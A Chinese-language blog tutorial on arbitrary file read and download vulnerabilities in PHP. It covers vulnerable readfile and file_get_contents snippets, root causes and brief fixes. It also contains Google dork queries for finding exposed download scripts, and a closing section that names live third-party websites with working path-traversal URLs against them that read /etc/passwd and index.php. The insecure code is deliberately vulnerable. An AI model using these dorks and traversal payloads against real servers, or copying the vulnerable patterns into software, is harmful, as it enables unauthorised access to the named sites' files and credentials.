温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

任意文件读取与下载

发布时间:2020-09-19 01:56:46 来源:网络 阅读:2003 作者:nw01f 栏目:安全技术

0x00 背景介绍

    一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等


0x01 文件读取

    文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控

<?php
$filename = $_GET['f'];
echo file_get_contents($filename);
?>
#当变量 $filename 没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如
/etc/passwd、/config.ini 等文件

0x02 实现文件下载的两种方式

    1.直接下载:

<a href="http://www.xxx.com/xxx.rar"></a>

    2.增加header头

<?php
$filename = $_GET['f'];
header('Content-Type:p_w_picpath/gif');
header('Content-Disposition:p_w_upload;filename='.$filename);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>

    当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。


0x03 成因

    都有读取文件的函数

    读物文件的路径用户可控,且没有经过校验,或者校验不严格

    都输出文件内容


0x04 Google Serch

inurl:"readfile.php?file="
inurl:"download.php?file="


0x05 修复方案

    过滤<.>(点)

    正则判断用户输入的参数格式,匹配输入的格式是否合格

    php.ini配置open_basedir


0x06 实例漏洞利用

(仅供测试,请勿随意破坏)

地址:

url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

漏洞利用:

http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

地址:

url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

漏洞利用

http://www.wodehouse.se/upload/readfile.php?file=../index.php


向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI